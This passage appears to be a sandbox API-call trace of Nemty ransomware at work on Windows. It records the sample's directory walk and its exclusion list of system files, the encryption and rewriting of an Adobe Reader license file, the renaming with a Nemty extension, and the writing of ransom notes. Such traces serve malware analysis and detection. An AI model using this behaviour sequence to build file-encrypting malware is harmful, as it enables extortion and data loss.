lpString2="appdata") returned 1 [0173.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.214] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.214] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0173.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.214] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.214] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0173.215] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.215] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.215] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.215] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0173.215] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.215] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.215] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0173.215] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0173.215] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0173.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0173.215] Sleep (dwMilliseconds=0x5) [0173.220] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ae4e8b0, dwHighDateTime=0x1d561e8)) [0173.220] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ae4e8b0, dwHighDateTime=0x1d561e8)) [0173.220] GetLastError () returned 0xb7 [0173.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.220] GetLastError () returned 0xb7 [0173.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.220] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0173.220] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0173.221] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0173.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0173.221] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="VIVb856zviJF8k29sVIWLnNWVm5HXMBUhJjd3flnaz9SQ44lA8EkZ6cciHqmi6Xa\r\nJsa57tKw9GoRMhEwVV2l5valCtTXnJ1Zl3Ms4+RFFLFrxleNBSwXXREk1ZWHraLi\r\nG0J2mHmhsHVh75oHOSlFB5nnAHZeTyJWHbCiRpVnPC5W5AEsnJHr+NVB67Z51YIK\r\nb+HoMaNgs4C1LVGWGoHK4/TJb5U3Sme0BB7GIo/BpZJm72pYV+w4P+midSjFP0Ho\r\nXyQ5m5fnNTHU15dKIEkO47DvbO8N2tSOAIos1RwTLdcEUwa7nozaRDS7AXHwsLVi\r\nyXxaAW6rB8mPNalr3LQgWQ==\r\n", pcchString=0x653e5dc) returned 1 [0173.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0173.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0173.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0173.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0173.221] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\slv\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0173.221] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=49909) returned 1 [0173.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc2f0) returned 0x6352c48 [0173.221] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.221] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xc2f0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xc2f0, lpOverlapped=0x0) returned 1 [0173.226] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.226] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xc2f0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xc2f0, lpOverlapped=0x0) returned 1 [0173.226] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0173.227] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=49909, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc2f5 [0173.227] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0173.227] CloseHandle (hObject=0x3b0) returned 1 [0173.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0173.227] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.227] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0173.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0173.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0173.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.227] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\slv\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\slv\\license.html._nemty_kgobjgd_")) returned 1 [0173.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0173.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0173.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0173.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0173.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0173.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0173.228] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ae28750, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1ae28750, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1ae28750, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0173.228] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0173.228] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0173.228] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0173.228] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0173.228] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0173.228] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0173.228] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0173.228] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0173.228] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0173.228] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0173.228] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0173.228] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0173.228] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0173.228] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0173.228] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0173.228] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0173.228] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0173.228] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0173.228] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0173.228] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0173.228] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0173.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.228] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.228] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0173.229] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.229] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0173.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.229] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.229] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.229] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.229] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0173.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0173.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.229] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ae28750, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1ae28750, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1ae28750, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0173.229] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0173.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0173.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0173.229] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="SUO", cAlternateFileName="")) returned 1 [0173.229] lstrcmpiW (lpString1="SUO", lpString2=".") returned 1 [0173.229] lstrcmpiW (lpString1="SUO", lpString2="..") returned 1 [0173.229] lstrcmpiW (lpString1="SUO", lpString2="...") returned 1 [0173.229] lstrcmpiW (lpString1="SUO", lpString2="windows") returned -1 [0173.230] lstrcmpiW (lpString1="SUO", lpString2="$RECYCLE.BIN") returned 1 [0173.230] lstrcmpiW (lpString1="SUO", lpString2="rsa") returned 1 [0173.230] lstrcmpiW (lpString1="SUO", lpString2="NTDETECT.COM") returned 1 [0173.230] lstrcmpiW (lpString1="SUO", lpString2="ntldr") returned 1 [0173.230] lstrcmpiW (lpString1="SUO", lpString2="MSDOS.SYS") returned 1 [0173.230] lstrcmpiW (lpString1="SUO", lpString2="IO.SYS") returned 1 [0173.230] lstrcmpiW (lpString1="SUO", lpString2="boot.ini") returned 1 [0173.230] lstrcmpiW (lpString1="SUO", lpString2="boot.ini") returned 1 [0173.230] lstrcmpiW (lpString1="SUO", lpString2="AUTOEXEC.BAT") returned 1 [0173.230] lstrcmpiW (lpString1="SUO", lpString2="ntuser.dat") returned 1 [0173.230] lstrcmpiW (lpString1="SUO", lpString2="desktop.ini") returned 1 [0173.230] lstrcmpiW (lpString1="SUO", lpString2="CONFIG.SYS") returned 1 [0173.230] lstrcmpiW (lpString1="SUO", lpString2="RECYCLER") returned 1 [0173.230] lstrcmpiW (lpString1="SUO", lpString2="BOOTSECT.BAK") returned 1 [0173.230] lstrcmpiW (lpString1="SUO", lpString2="bootmgr") returned 1 [0173.230] lstrcmpiW (lpString1="SUO", lpString2="programdata") returned 1 [0173.230] lstrcmpiW (lpString1="SUO", lpString2="appdata") returned 1 [0173.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SUO", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0173.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SUO", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUO", lpUsedDefaultChar=0x0) returned 3 [0173.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SUO", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0173.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SUO", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUO", lpUsedDefaultChar=0x0) returned 3 [0173.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0173.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0173.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0173.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0173.230] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.230] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0173.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0173.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0173.231] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\suo\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0173.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0173.231] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.231] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0173.232] CloseHandle (hObject=0x254) returned 1 [0173.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0173.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0173.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0173.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0173.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0173.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0173.232] MultiByteToWideChar (in: 